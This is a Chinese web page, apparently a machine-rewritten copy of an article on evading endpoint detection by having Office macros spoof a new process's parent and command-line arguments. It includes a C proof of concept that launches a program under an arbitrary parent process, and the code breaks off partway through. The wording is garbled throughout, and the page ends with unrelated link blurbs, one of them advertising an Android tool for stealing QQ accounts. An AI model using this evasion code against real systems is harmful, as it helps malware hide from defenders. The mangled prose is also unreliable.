绕开EDR:结构Office宏欺骗父进程和命令行参数

访客4年前关于黑客接单795

一、情况

大部分当代EDR解决 *** 都应用个人行为检验的 *** ,容许依据其个人行为来检验恶意程序,而不是只是应用IoC(比如:文档hash值、网站域名)。在本文中,我得出了欺骗新进程的父进程和命令行参数这二种技术的VBA完成方式。该类完成容许制做更为隐秘的Office宏,并使宏形成的进程看上去好像由另一个程序流程(比如explorer.exe)建立的,并具备看起来良好的命令行参数。

必须表明的是,我并不是明确提出这种技术的创作者,这种技术是由Will Burgess、Didier Stevens和Casey Smith明确提出的。

更先,大家将解读在Visual Basic中完成的技术情况。我之一次听见这种內容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演说以后。

1.1 父进程欺骗

当进程派生出子进程时,比如Sy *** on这类的EDR解决 *** 会纪录该实际操作,另外会纪录各种各样信息,比如:新创建的进程名字、hash值、可实行途径及其相关父进程的信息。这针对预制构件个人行为标准十分有协助,例如,“Microsoft Word始终不容易派生出powershell.exe”。依据我的工作经验,这种标准具备较低的多元性、较高的增加值,仅在非常少状况下能产生乱报。

事实上,在应用Windows当地API建立进程时,能够特定一切进程做为父亲进程。这并并不是一个新鲜事儿,因而我不想在文中中更为详尽地叙述。事实上,Didier Stevens早在十年前就读过有关这一方面的文章内容。下边是一个C 编码的实例供大伙儿参照,将应用随意进程做为父进程,派生出cmd.exe。

// 本编码根据

#include "pch.h"

#include

#include

#include

#include

int main(int argc, char **canttrustthis)

{

PROCESS_INFORMATION pi={ 0 };

STARTUPINFOEXA si={ 0 };

SIZE_T sizeToAllocate;

int parentPid=9524; // Could be found dynamically as well

// Get a handle on the parent process to use

HANDLE processHandle=OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);

if (processHandle==NULL){

fprintf(stderr, "OpenProcess failed");

return 1;

}

// Initialize the process start attributes

InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);

// Allocate the size needed for the attribute list

si.lpAttributeList=(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use

if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)){

fprintf(stderr, "UpdateProcThreadAttribute failed");

return 1;

}

si.StartupInfo.cb=sizeof(STARTUPINFOEXA);

printf("Creating process...

");

BOOL success=CreateProcessA(

NULL, // App name

"C:\\\\Windows\\\\system32\\\\calc.exe", // Command line

NULL, // Process attributes

NULL, // Thread attributes

true, // Inherits handles?

EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags

NULL, // Env

"C:\\\\Windows\\\\system32", // Current dir

(LPSTARTUPINFOA) &si,

&pi

相关文章

苹果12截图怎么截

iphone12可另外按住声音上键与锁屏键快速截屏,也可根据辅助触控截屏。打开设置,功能,挑选触摸,进到辅助触控,打开辅助触控右侧的按键,点一下自定高层莱单,点一下右下方的减号,再点一下新发生的减号,...

小城市什么工作赚钱多(这些行业能月入过万)

小城市什么工作赚钱多(这些行业能月入过万)

做自媒体是自由的,是轻松的,这是很多局外人的看法。做自媒体是赚钱的,这个是大家都知道的事情。 越来越多的人选择做自媒体,是为了赚钱,可能下一个时代,就是这样自由职业的时代,诸如自媒体人,网红,主播等...

世界上真的有黑客吗

编程+网络基础+操作系统知识+社会工程学+数学+英语。271920404。确定你不是想学盗号的来。 当然有黑客!这个世界上有不少公认的黑客,他们都是在计算机行业内做出了巨大贡献的受人推崇的顶尖人物!成...

免费黑客盗qq的安卓软件(安卓黑客工具箱)

AndroRATAndroRAT一词源自Android与RAT(即远程管理工具)。这款顶级黑客工具已经拥有相当长的发展历史,而且最初其实是一款客户端/服务器应用。这款应用旨在。 这是主要对电脑所使用...

夏天穿棉麻的衣服好么(棉麻的衣服好还是亚麻

夏天穿棉麻的衣服好么(棉麻的衣服好还是亚麻

夏季到来天气开始慢慢越来越热了,我们在穿衣搭配上面首先注重的是舒适度。可以选择透气性好,不会让自己感觉很闷的面料,麻料就是凉快的代表。许多明星都钟爱棉麻服装,王菲就是代表之一。      ...

额头窄颧骨高怎么办?选对发型修饰脸型,完美

额头窄颧骨高怎么办?选对发型修饰脸型,完美

我们都知道一个人的脸型除了整形、减肥改变,但要想临时的改变那就只能依靠发型啦。选对好的适合的发型,不仅为形象上加分还可以修饰脸部线条,轻松打造巴掌小脸哦!额头窄颧骨高的妹子在选择发型上是十分困难,不过...